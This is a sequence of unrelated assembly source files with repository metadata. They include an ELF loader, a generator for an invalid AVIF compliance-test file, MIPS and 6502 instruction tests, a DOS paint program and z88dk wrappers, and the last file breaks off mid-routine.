"elf", "64 bit ELF files are not supported for now." .32_bit: mov ax, [ebx+0x2e] mov [.section_header_entry_size], ax ; eax = pointer in the shstrtab section ; try and find it ; shstrndx * shdrsize + offset + elf base movzx eax, word [ebx+0x32] mul word [.section_header_entry_size] add eax, [ebx+0x20] add eax, ebx mov eax, [eax+0x10] add eax, ebx ; ebx = start of elf file ; ecx = number of section header entries movzx ecx, word [ebx+0x30] inc ecx ; edx = pointer to section header entries mov edx, ebx add edx, [ebx+0x20] .32_bit.load_section: ; compare type cmp [edx+0x04], dword 1 jne .32_bit.next_header ; compare name push eax push ebx push ecx add eax, [edx] mov ebx, eax mov ecx, [.section_name] call strcmp pop ecx pop ebx test eax, eax pop eax jnz .32_bit.next_header ; check size mov eax, [.section_length] test eax, eax ; caller doesn't care about the size jz .32_bit.load cmp eax, [edx+0x14] jz .32_bit.load ja .too_big jb .too_small .32_bit.load: add ebx, [edx+0x10] memcpy [edx+0x0c], ebx, [edx+0x14] jmp .32_bit.found .32_bit.next_header: add edx, [.section_header_entry_size] loop .32_bit.load_section .not_found: xor eax, eax jmp .return .too_small: mov eax, 1 jmp .return .too_big: mov eax, 2 jmp .return .32_bit.found: mov eax, [edx+0x0c] .return: popf pop edi pop esi pop edx pop ecx pop ebx ret .section_name: dd 0 .section_length: dd 0 .section_header_entry_size: dd 0 ; Loads an ELF file into memory ; IN: EBX = Pointer to full ELF file ; OUT: EAX = Entry point ; NOTE: If there were any errors, this subroutine will panic elf_load_program: push ecx push edx push esi push edi pushf call elf_verify_header call elf_get_bitness cmp eax, 32 je .32_bit panic "elf", "64 bit ELF files are not allowed for now" .32_bit: ; get size of program header entry mov ax, [ebx+0x2a] mov [.program_header_entry_size], ax ; now, place the entry point in eax (eax gets unmodified for the rest of the program) mov eax, [ebx+0x18] ; get number of program header entries movzx ecx, word [ebx+0x2c] inc ecx ; point inside the program headers array mov edx, ebx add edx, [ebx+0x1c] .32_bit.load_program_headers: cmp [edx], dword 1 ; LOAD jne .32_bit.next_header push ebx push ecx add ebx, [edx+0x04] memcpy [edx+0x0c], ebx, [edx+0x10] pop ecx pop ebx ; now, check if there is some bss or something ; esi and edi are not used anyways except in memcpy and memset mov esi, [edx+0x10] ; file size mov edi, [edx+0x14] ; memory size sub edi, esi jz .32_bit.next_header ; zero it out add esi, [edx+0x0c] ; physical address push ax push ecx memset esi, 0, edi pop ecx pop ax .32_bit.next_header: add edx, [.program_header_entry_size] loop .32_bit.load_program_headers popf pop edi pop esi pop edx pop ecx ret .program_header_entry_size: dd 0
23.065455
130
0.676967
[ "BSD-3-Clause" ]
AtieP/tinyvale
src/elf.asm
6,343
Assembly
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24)) ftyp_start: dd BE(ftyp_end - ftyp_start) dd "ftyp" db 0x6D, 0x69, 0x66, 0x31 ; major_brand(32) ('mif1') db 0x00, 0x00, 0x00, 0x00 ; minor_version(32) db 0x6D, 0x69, 0x66, 0x31 ; compatible_brand(32) ('mif1') db 0x61, 0x76, 0x69, 0x66 ; compatible_brand(32) ('avif') db 0x6D, 0x69, 0x61, 0x66 ; compatible_brand(32) ('miaf') ftyp_end: meta_start: dd BE(meta_end - meta_start) dd "meta" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) hdlr_start: dd BE(hdlr_end - hdlr_start) dd "hdlr" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32) db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict') db 0x00, 0x00, 0x00, 0x00 ; reserved1(32) db 0x00, 0x00, 0x00, 0x00 ; reserved2(32) db 0x00, 0x00, 0x00, 0x00 ; reserved3(32) db 0x47 ; name(8) ('G') db 0x50 ; name(8) ('P') db 0x41 ; name(8) ('A') db 0x43 ; name(8) ('C') db 0x20 ; name(8) (' ') db 0x70 ; name(8) ('p') db 0x69 ; name(8) ('i') db 0x63 ; name(8) ('c') db 0x74 ; name(8) ('t') db 0x20 ; name(8) (' ') db 0x48 ; name(8) ('H') db 0x61 ; name(8) ('a') db 0x6E ; name(8) ('n') db 0x64 ; name(8) ('d') db 0x6C ; name(8) ('l') db 0x65 ; name(8) ('e') db 0x72 ; name(8) ('r') db 0x00 ; name(8) hdlr_end: pitm_start: dd BE(pitm_end - pitm_start) dd "pitm" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x01 ; item_ID(16) pitm_end: iloc_start: dd BE(iloc_end - iloc_start) dd "iloc" db 0x01 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x04 ; offset_size(4) length_size(4) db 0x40 ; base_offset_size(4) ('@') reserved1(4) ('@') db 0x00, 0x07 ; item_count(16) db 0x00, 0x01 ; item_ID(16) db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)" db 0x00, 0x00 ; data_reference_index(16) dd BE(mdat1_start - ftyp_start + 8) ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x08 ; extent_length(32) db 0x00, 0x02 ; item_ID(16) db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)" db 0x00, 0x00 ; data_reference_index(16) dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x0A ; extent_length(32) db 0x00, 0x03 ; item_ID(16) db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)" db 0x00, 0x00 ; data_reference_index(16) dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x0A ; extent_length(32) db 0x00, 0x04 ; item_ID(16) db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)" db 0x00, 0x00 ; data_reference_index(16) dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x0A ; extent_length(32) db 0x00, 0x05 ; item_ID(16) db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)" db 0x00, 0x00 ; data_reference_index(16) dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x0A ; extent_length(32) db 0x00, 0x06 ; item_ID(16) db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)" db 0x00, 0x00 ; data_reference_index(16) dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x0A ; extent_length(32) db 0x00, 0x07 ; item_ID(16) db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)" db 0x00, 0x00 ; data_reference_index(16) dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x0A ; extent_length(32) iloc_end: iinf_start: dd BE(iinf_end - iinf_start) dd "iinf" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x07 ; entry_count(16) infe_start: dd BE(infe_end - infe_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x01 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x67, 0x72, 0x69, 0x64 ; item_type(32) ('grid') db 0x00 ; item_name(8) infe_end: infe2_start: dd BE(infe2_end - infe2_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x02 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01') db 0x49 ; item_name(8) ('I') db 0x6D ; item_name(8) ('m') db 0x61 ; item_name(8) ('a') db 0x67 ; item_name(8) ('g') db 0x65 ; item_name(8) ('e') db 0x00 ; item_name(8) infe2_end: infe3_start: dd BE(infe3_end - infe3_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x03 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01') db 0x49 ; item_name(8) ('I') db 0x6D ; item_name(8) ('m') db 0x61 ; item_name(8) ('a') db 0x67 ; item_name(8) ('g') db 0x65 ; item_name(8) ('e') db 0x00 ; item_name(8) infe3_end: infe4_start: dd BE(infe4_end - infe4_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x04 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01') db 0x49 ; item_name(8) ('I') db 0x6D ; item_name(8) ('m') db 0x61 ; item_name(8) ('a') db 0x67 ; item_name(8) ('g') db 0x65 ; item_name(8) ('e') db 0x00 ; item_name(8) infe4_end: infe5_start: dd BE(infe5_end - infe5_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x05 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01') db 0x49 ; item_name(8) ('I') db 0x6D ; item_name(8) ('m') db 0x61 ; item_name(8) ('a') db 0x67 ; item_name(8) ('g') db 0x65 ; item_name(8) ('e') db 0x00 ; item_name(8) infe5_end: infe6_start: dd BE(infe6_end - infe6_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x06 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01') db 0x49 ; item_name(8) ('I') db 0x6D ; item_name(8) ('m') db 0x61 ; item_name(8) ('a') db 0x67 ; item_name(8) ('g') db 0x65 ; item_name(8) ('e') db 0x00 ; item_name(8) infe6_end: infe7_start: dd BE(infe7_end - infe7_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x07 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01') db 0x49 ; item_name(8) ('I') db 0x6D ; item_name(8) ('m') db 0x61 ; item_name(8) ('a') db 0x67 ; item_name(8) ('g') db 0x65 ; item_name(8) ('e') db 0x00 ; item_name(8) infe7_end: iinf_end: iref_start: dd BE(iref_end - iref_start) dd "iref" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x18 ; box_size(32) db 0x64, 0x69, 0x6D, 0x67 ; box_type(32) ('dimg') db 0x00, 0x01 ; from_item_ID(16) db 0x00, 0x06 ; reference_count(16) db 0x00, 0x02 ; to_item_ID(16) db 0x00, 0x03 ; to_item_ID(16) db 0x00, 0x04 ; to_item_ID(16) db 0x00, 0x05 ; to_item_ID(16) db 0x00, 0x06 ; to_item_ID(16) db 0x00, 0x07 ; to_item_ID(16) iref_end: iprp_start: dd BE(iprp_end - iprp_start) dd "iprp" ipco_start: dd BE(ipco_end - ipco_start) dd "ipco" ispe_start: dd BE(ispe_end - ispe_start) dd "ispe" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0xC0 ; image_width(32) db 0x00, 0x00, 0x00, 0x80 ; image_height(32) ispe_end: clap_start: dd BE(clap_end - clap_start) dd "clap" db 0x00, 0x00, 0x00, 0x80 ; cleanApertureWidthN(32) db 0x00, 0x00, 0x00, 0x01 ; cleanApertureWidthD(32) db 0x00, 0x00, 0x00, 0x20 ; cleanApertureHeightN(32) db 0x00, 0x00, 0x00, 0x01 ; cleanApertureHeightD(32) db 0x00, 0x00, 0x00, 0x00 ; horizOffN(32) db 0x00, 0x00, 0x00, 0x01 ; horizOffD(32) db 0x00, 0x00, 0x00, 0x00 ; vertOffN(32) db 0x00, 0x00, 0x00, 0x01 ; vertOffD(32) clap_end: ispe2_start: dd BE(ispe2_end - ispe2_start) dd "ispe" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x40 ; image_width(32) db 0x00, 0x00, 0x00, 0x40 ; image_height(32) ispe2_end: pasp_start: dd BE(pasp_end - pasp_start) dd "pasp" db 0x00, 0x00, 0x00, 0x01 ; hSpacing(32) db 0x00, 0x00, 0x00, 0x01 ; vSpacing(32) pasp_end: av1C_start: dd BE(av1C_end - av1C_start) dd "av1C" db 0x81 ; marker(1) version(7) db 0x20 ; seq_profile(3) (' ') seq_level_idx_0(5) (' ') db 0x04 ; seq_tier_0(1) high_bitdepth(1) twelve_bit(1) monochrome(1) chroma_subsampling_x(1) chroma_subsampling_y(1) chroma_sample_position(2) db 0x00 ; reserved(3) initial_presentation_delay_present(1) reserved(4) ; configOBUs(0) av1C_end: pixi_start: dd BE(pixi_end - pixi_start) dd "pixi" db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x03 ; (8) db 0x08 ; (8) db 0x08 ; (8) db 0x08 ; (8) pixi_end: ipco_end: ipma_start: dd BE(ipma_end - ipma_start) dd "ipma" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x07 ; entry_count(32) db 0x00, 0x01 ; item_ID(16) db 0x02 ; association_count(8) db 0x01 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) db 0x00, 0x02 ; item_ID(16) db 0x05 ; association_count(8) db 0x82 ; essential(1) property_index(7) db 0x03 ; essential(1) property_index(7) db 0x04 ; essential(1) property_index(7) db 0x85 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) db 0x00, 0x03 ; item_ID(16) db 0x05 ; association_count(8) db 0x82 ; essential(1) property_index(7) db 0x03 ; essential(1) property_index(7) db 0x04 ; essential(1) property_index(7) db 0x85 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) db 0x00, 0x04 ; item_ID(16) db 0x05 ; association_count(8) db 0x82 ; essential(1) property_index(7) db 0x03 ; essential(1) property_index(7) db 0x04 ; essential(1) property_index(7) db 0x85 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) db 0x00, 0x05 ; item_ID(16) db 0x05 ; association_count(8) db 0x82 ; essential(1) property_index(7) db 0x03 ; essential(1) property_index(7) db 0x04 ; essential(1) property_index(7) db 0x85 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) db 0x00, 0x06 ; item_ID(16) db 0x05 ; association_count(8) db 0x82 ; essential(1) property_index(7) db 0x03 ; essential(1) property_index(7) db 0x04 ; essential(1) property_index(7) db 0x85 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) db 0x00, 0x07 ; item_ID(16) db 0x05 ; association_count(8) db 0x82 ; essential(1) property_index(7) db 0x03 ; essential(1) property_index(7) db 0x04 ; essential(1) property_index(7) db 0x85 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) ipma_end: iprp_end: meta_end: free_start: dd BE(free_end - free_start) dd "free" db 0x49 ; (8) ('I') db 0x73 ; (8) ('s') db 0x6F ; (8) ('o') db 0x4D ; (8) ('M') db 0x65 ; (8) ('e') db 0x64 ; (8) ('d') db 0x69 ; (8) ('i') db 0x61 ; (8) ('a') db 0x20 ; (8) (' ') db 0x46 ; (8) ('F') db 0x69 ; (8) ('i') db 0x6C ; (8) ('l') db 0x65 ; (8) ('e') db 0x20 ; (8) (' ') db 0x50 ; (8) ('P') db 0x72 ; (8) ('r') db 0x6F ; (8) ('o') db 0x64 ; (8) ('d') db 0x75 ; (8) ('u') db 0x63 ; (8) ('c') db 0x65 ; (8) ('e') db 0x64 ; (8) ('d') db 0x20 ; (8) (' ') db 0x77 ; (8) ('w') db 0x69 ; (8) ('i') db 0x74 ; (8) ('t') db 0x68 ; (8) ('h') db 0x20 ; (8) (' ') db 0x47 ; (8) ('G') db 0x50 ; (8) ('P') db 0x41 ; (8) ('A') db 0x43 ; (8) ('C') db 0x20 ; (8) (' ') db 0x31 ; (8) ('1') db 0x2E ; (8) ('.') db 0x31 ; (8) ('1') db 0x2E ; (8) ('.') db 0x30 ; (8) ('0') db 0x2D ; (8) ('-') db 0x44 ; (8) ('D') db 0x45 ; (8) ('E') db 0x56 ; (8) ('V') db 0x2D ; (8) ('-') db 0x72 ; (8) ('r') db 0x65 ; (8) ('e') db 0x76 ; (8) ('v') db 0x33 ; (8) ('3') db 0x31 ; (8) ('1') db 0x34 ; (8) ('4') db 0x2D ; (8) ('-') db 0x67 ; (8) ('g') db 0x65 ; (8) ('e') db 0x62 ; (8) ('b') db 0x34 ; (8) ('4') db 0x31 ; (8) ('1') db 0x64 ; (8) ('d') db 0x32 ; (8) ('2') db 0x61 ; (8) ('a') db 0x32 ; (8) ('2') db 0x35 ; (8) ('5') db 0x2D ; (8) ('-') db 0x69 ; (8) ('i') db 0x6D ; (8) ('m') db 0x61 ; (8) ('a') db 0x67 ; (8) ('g') db 0x65 ; (8) ('e') db 0x5F ; (8) ('_') db 0x6F ; (8) ('o') db 0x76 ; (8) ('v') db 0x65 ; (8) ('e') db 0x72 ; (8) ('r') db 0x6C ; (8) ('l') db 0x61 ; (8) ('a') db 0x79 ; (8) ('y') db 0x00 ; (8) free_end: ; dimg mdat1_start: dd BE(mdat1_end - mdat1_start) dd "mdat" db 0x00 ; derivation version db 0x00 ; dimg flags db 0x01 ; dimg rows_minus_one db 0x02 ; dimg columns_minus_one db 0x00, 0x00 ; dimg output_width db 0x00, 0x00 ; dimg output_height mdat1_end: ; av1 mdat2_start: dd BE(mdat2_end - mdat2_start) dd "mdat" db 0x0A ; (8) 0000 1010 db 0x06 ; (8) db 0x38 ; (8) 0011 1000 db 0x1D ; (8) 0001 1101 db 0xF0 ; (8) 1111 0000 db 0x20 ; (8) 0010 0000 db 0x00 ; (8) 0000 0000 db 0x20 ; (8) 0010 ;0 color config db 0x32 ; (8) ('2') ; sync frame db 0x00 ; (8) mdat2_end: ; vim: syntax=nasm
36.943478
159
0.491938
[ "BSD-3-Clause" ]
gpac/ComplianceWarden
tests/miaf/invalid-colours.asm
16,994
Assembly
############################################################################### # File : jr.asm # Project : MIPS32 MUX # Author: : Grant Ayers (ayers@cs.stanford.edu) # # Standards/Formatting: # MIPS gas, soft tab, 80 column # # Description: # Test the functionality of the 'jr' instruction. # ############################################################################### .section .test, "x" .balign 4 .set noreorder .global test .ent test test: lui $s0, 0xbfff # Load the base address 0xbffffff0 ori $s0, 0xfff0 ori $s1, $0, 1 # Prepare the 'done' status #### Test code start #### la $t0, $target jr $t0 ori $v0, $0, 0 # The test result starts as a failure $finish: sw $v0, 8($s0) sw $s1, 4($s0) jr $ra nop j $finish # Early-by-1 detection $target: nop ori $v0, $0, 1 # Set the result to pass j $finish nop #### Test code end #### .end test
22.893617
79
0.421933
[ "MIT" ]
0xYYY/cannon
mipsevm/test/jr.asm
1,076
Assembly
;written by : salah kilani org 100h ;-------set mode------- mov ah, 0 mov al, 0h int 10h ;====================== page_Main: ;-----clear screen----- mov dh, 25 ;from x mov dl, 40 ;from y mov al, 00h ;everything mov ah, 07h int 10h ;first pixel mov dl, 0 ;row mov dh, 0 ;column mov bh, 0 ;page mov bl, 00000000b ;color mov cx, 1 ;times mov ah, 02h ;move cursor int 10h mov ah, 09h ;draw int 10h ;====================== ;******************************************** ;* the following print segments print the : * ;* title / name / id / hint / start button * ;******************************************** ;-----print title------ mov si, offset msg1 ;index mov dl, 14 ;x mov dh, 8 ;y mov bh, 0 ;page mov bl, 00001110b ;color mov cx, 1 ;times l_t: ;set cursor mov ah, 02h int 10h ;print msg mov al, [si] cmp al, '$' je c_t mov ah, 09h int 10h add si, 1 ;next index inc dl ;inc x inc bl cmp bl, 00010000b jne l_t: mov bl, 00001001b jmp l_t ;====================== c_t: ;-----print name------ mov si, offset msg2 mov dl, 12 mov dh, 10 mov bh, 0 mov bl, 00001111b mov cx, 1 l_n: ;set cursor mov ah, 02h int 10h ;print msg mov al, [si] cmp al, '$' je c_n mov ah, 09h int 10h add si, 1 inc dl jmp l_n ;====================== c_n: ;------print ID------- mov si, offset msg3 mov dl, 17 mov dh, 11 mov bh, 0 mov bl, 00001111b mov cx, 1 l_i: ;set cursor mov ah, 02h int 10h ;print msg mov al, [si] cmp al, '$' je c_i mov ah, 09h int 10h add si, 1 inc dl jmp l_i ;===================== c_i: ;------print keys----- mov si, offset msg5 mov dl, 13 mov dh, 20 mov bh, 0 mov bl, 00001100b mov cx, 1 l_k: ;set cursor mov ah, 02h int 10h ;print msg mov al, [si] cmp al, '$' je c_k mov ah, 09h int 10h add si, 1 inc dl jmp l_k ;===================== c_k: ;------print hints----- mov si, offset msg6 mov dl, 6 mov dh, 22 mov bh, 0 mov bl, 00001100b mov cx, 1 l_h1: ;set cursor mov ah, 02h int 10h ;print msg mov al, [si] cmp al, '$' je c_h1 mov ah, 09h int 10h add si, 1 inc dl jmp l_h1 c_h1: mov si, offset msg7 mov dl, 6 mov dh, 23 mov bh, 0 mov bl, 00001100b mov cx, 1 l_h2: ;set cursor mov ah, 02h int 10h ;print msg mov al, [si] cmp al, '$' je c_h2 mov ah, 09h int 10h add si, 1 inc dl jmp l_h2 ;===================== c_h2: ;----print button----- mov si, offset msg4 mov dl, 16 mov dh, 15 mov bh, 0 mov bl, 11101100b mov cx, 1 l_btn: ;set cursor mov ah, 02h int 10h ;print msg mov al, [si] cmp al, '$' je listener mov ah, 09h int 10h add si, 1 inc dl jmp l_btn ;===================== ;---mouse listener---- listener: ;get pos mov ax, 3 int 33h ;correct pos shr cx, 1 ;check click cmp bl, 1 jne listener ;calc pos xchg dh, dl shr dh,3 xchg cl, dl shr dl, 2 ;check cmp dh, 15 jne listener cmp dl, 16 jl listener cmp dl, 24 jg listener jmp start: ;===================== start: ;-----clear screen----- mov dh, 25 mov dl, 40 mov al, 00h mov ah, 07h int 10h ;flush buffer mov ah, 0ch int 21h ;====================== ;--initiate variable--- char DB '*' color DB 1010b jmp colorDips ;====================== l1: ;--check buffer---- mov ah, 1 int 16h je continue ;read mov ah, 0 int 16h ;Red cmp al, 72h je setRed cmp al, 52h je setRed ;Yellow cmp al, 79h je setYellow cmp al, 59h je setYellow ;Green cmp al, 67h je setGreen cmp al, 47h je setGreen ;exit cmp al, 1bh je page_Main ;clear cmp al, 63h je clear_board cmp al, 43h je clear_board ;================== continue: ;---mouse status--- ;get pos mov ax, 3 int 33h ;check click cmp bl, 1 jne reJump ;validate pos y cmp dh, 01h jae reJump ;validate pos x cmp ch, 00h je draw cmp ch, 02h jae reJump cmp cl, 3fh jae reJump ;================== draw: ;----Draw char----- ;dl is the row ;dh is the column ;correct pos shr cx, 1 ;calc pos xchg dh, dl shr dh,3 xchg cl, dl shr dl, 2 ;input strip cmp dh, 0 je get_Input ;marker strip cmp dh, 1 je reJump ;move cursor mov bh, 0 mov ah, 02h int 10h ;place char mov bl, color ;color mov cx, 1 ;times mov al, char ;char mov bh, 0 ;page mov ah, 09h int 10h jmp reJump ;================== ;-invalidation jmp- inv_co: call invalidate_color jmp reJump inv_ca: call invalidate_char ;================== reJump: mov cx, 2 loop l1 exit: ret ;-------functions------ setRed: mov color, 1100b mov color_marker, 22 jmp inv_co setYellow: mov color, 1110b mov color_marker, 14 jmp inv_co setGreen: mov color, 1010b mov color_marker, 30 jmp inv_co ;************************************************** clear_board: mov dl, 0 mov dh, 2 mov bh, 0 mov bl, 00000000b mov cx, 1 mov ah, 02h int 10h mov dx, offset msg10 mov ah, 9 int 21h mov cx, 40 mov dl, 0 mov dh, 24 l_cb: ;set cursor mov ah, 02h int 10h ;print mov al, ' ' mov ah, 09h int 10h loop l_cb jmp reJump ;************************************************** colorDips: mov dl, 39 ;end of screen mov dh, 0 ;first row mov bh, 0 mov bl, 77h next_Color: add bl, 00010001b ;inc color mov cx, 4 ;draw color x 4 l2: push cx ;move cursor mov ah, 02h int 10h ;draw mov cx, 1 ;times mov al, char ;char mov bh, 0 ;page mov ah, 09h int 10h ;re-position dec dl pop cx loop l2 cmp dl, 7 ;all colors done je letters jmp next_Color ;************************************************** letters: mov dl, 0 mov dh, 0 mov bh, 0 mov bl, 0Fh mov cx, 4 next_Letter: ;move cursor mov ah, 02h int 10h jmp loadLetter ;load letter to al cb: ;draw push cx mov cx, 1 mov bh, 0 mov ah, 09h int 10h ;re-position add dl, 2 pop cx loop next_Letter call invalidate_color call invalidate_char jmp l1 ;start the action loadLetter: mov al, '*' cmp cx, 4 je cb mov al, '#' cmp cx, 3 je cb mov al, 03h cmp cx, 2 je cb mov al, '$' cmp cx, 1 je cb ;************************************************** get_Input: cmp dl, 7 jle get_Char jmp get_Color get_Char: mov al, char ;save char push ax cmp dl, 0 mov char, '*' mov char_marker, 0 je inv_ca cmp dl, 2 mov char, '#' mov char_marker, 2 je inv_ca cmp dl, 4 mov char, 03h mov char_marker, 4 je inv_ca cmp dl, 6 mov char, '$' mov char_marker, 6 je inv_ca pop ax ;if invalid mov char, al jmp reJump get_Color: cmp dl, 11 mov color, 0Fh mov color_marker, dl jle inv_co cmp dl, 15 mov color, 0Eh mov color_marker, dl jle inv_co cmp dl, 19 mov color, 0Dh mov color_marker, dl jle inv_co cmp dl, 23 mov color, 0Ch mov color_marker, dl jle inv_co cmp dl, 27 mov color, 0Bh mov color_marker, dl jle inv_co cmp dl, 31 mov color, 0Ah mov color_marker, dl jle inv_co cmp dl, 35 mov color, 09h mov color_marker, dl jle inv_co mov color, 08h mov color_marker, dl jmp inv_co ;************************************************** invalidate_color PROC ;wipe old marker mov dl, 8 mov dh, 1 mov bh, 0 mov bl, 00000000b mov cx, 1 mov ah, 02h int 10h mov dx, offset msg9 mov ah, 9 int 21h ;add new marker mov al, 1Eh mov dl, color_marker mov dh, 1 mov bh, 0 mov bl, color mov cx, 1 mov ah, 02h int 10h mov ah, 09h int 10h RET invalidate_color ENDP invalidate_char PROC ;wipe old marker mov dl, 0 mov dh, 1 mov bh, 0 mov bl, 00000000b mov cx, 1 mov ah, 02h int 10h mov dx, offset msg8 mov ah, 9 int 21h ;add new marker mov al, 18h mov dl, char_marker mov dh, 1 mov bh, 0 mov bl, 00001111b mov cx, 1 mov ah, 02h int 10h mov ah, 09h int 10h RET invalidate_char ENDP ;************************************************** msg1 DB "Paint Project$" msg2 DB "By: Salah Kilani$" msg3 DB "(20150035)$" msg4 DB " Start $" msg5 DB "available keys$" msg6 DB "< R:red, G:green, Y:yellow >$" msg7 DB "< C:clear , ESC:title Page >$" msg8 DB " $" msg9 DB " $" msg10 DB 880 DUP(" "),"$" char_marker DB 0 color_marker DB 30 END
21.004213
69
0.307656
[ "MIT" ]
SalahKilani/PaintProject.asm
paintNC.asm
14,955
Assembly
; Verifies ASL .segment "VECTORS" .word $eaea .word init .word $eaea .segment "ZEROPAGE" zp: .byte %00100000 .byte %00100000 .code init: asl ; A will be %00100000 asl ; A will be %01000000 from last instruction asl ; A will be %10000000 from last instruction asl zp asl zp,x ; X will be $01 asl data asl data,x ; X will be $01 .segment "DATA" data: .byte %00100000 .byte %00100000
15.333333
59
0.593478
[ "MIT" ]
danecreekphotography/6502ts
tests/assembly/ASL.asm
460
Assembly
; float __ulong2fs_callee(unsigned long ul) SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sdcciyp_ulong2ds_callee EXTERN am48_double32u, cm48_sdcciyp_m482d cm48_sdcciyp_ulong2ds_callee: ; unsigned long to double ; ; enter : stack = unsigned long ul, ret ; ; exit : dehl = sdcc_float(ul) ; ; uses : af, bc, de, hl, bc', de', hl' pop af pop hl pop de push af call am48_double32u jp cm48_sdcciyp_m482d
15.827586
43
0.690632
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_iy/cm48_sdcciyp_ulong2ds_callee.asm
459
Assembly
; size_t w_vector_insert(w_vector_t *v, size_t idx, void *item) SECTION code_clib SECTION code_adt_w_vector PUBLIC w_vector_insert EXTERN asm_w_vector_insert w_vector_insert: pop af pop de pop bc pop hl push hl push bc push de push af jp asm_w_vector_insert ; SDCC bridge for Classic IF __CLASSIC PUBLIC _w_vector_insert defc _w_vector_insert = w_vector_insert ENDIF
13.225806
63
0.75122
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_insert.asm
410
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0xbf, %rsi nop nop nop cmp $37237, %r14 movw $0x6162, (%rsi) nop nop nop nop nop xor $19030, %rsi lea addresses_D_ht+0x1447f, %rcx add $6512, %rbp mov $0x6162636465666768, %r12 movq %r12, %xmm7 movups %xmm7, (%rcx) and $63972, %rsi lea addresses_WC_ht+0xd21f, %rsi lea addresses_UC_ht+0x823f, %rdi add $28556, %rbx mov $84, %rcx rep movsw nop nop nop nop nop xor $40690, %rsi lea addresses_D_ht+0x26bf, %rbx nop nop nop cmp %r12, %r12 mov (%rbx), %bp nop nop dec %r15 lea addresses_D_ht+0x8233, %rsi lea addresses_A_ht+0xfcbf, %rdi clflush (%rsi) inc %rbx mov $70, %rcx rep movsq nop nop nop nop cmp %r12, %r12 lea addresses_normal_ht+0x13e3f, %rbx nop nop nop add %r15, %r15 mov (%rbx), %rcx nop nop cmp %rdi, %rdi lea 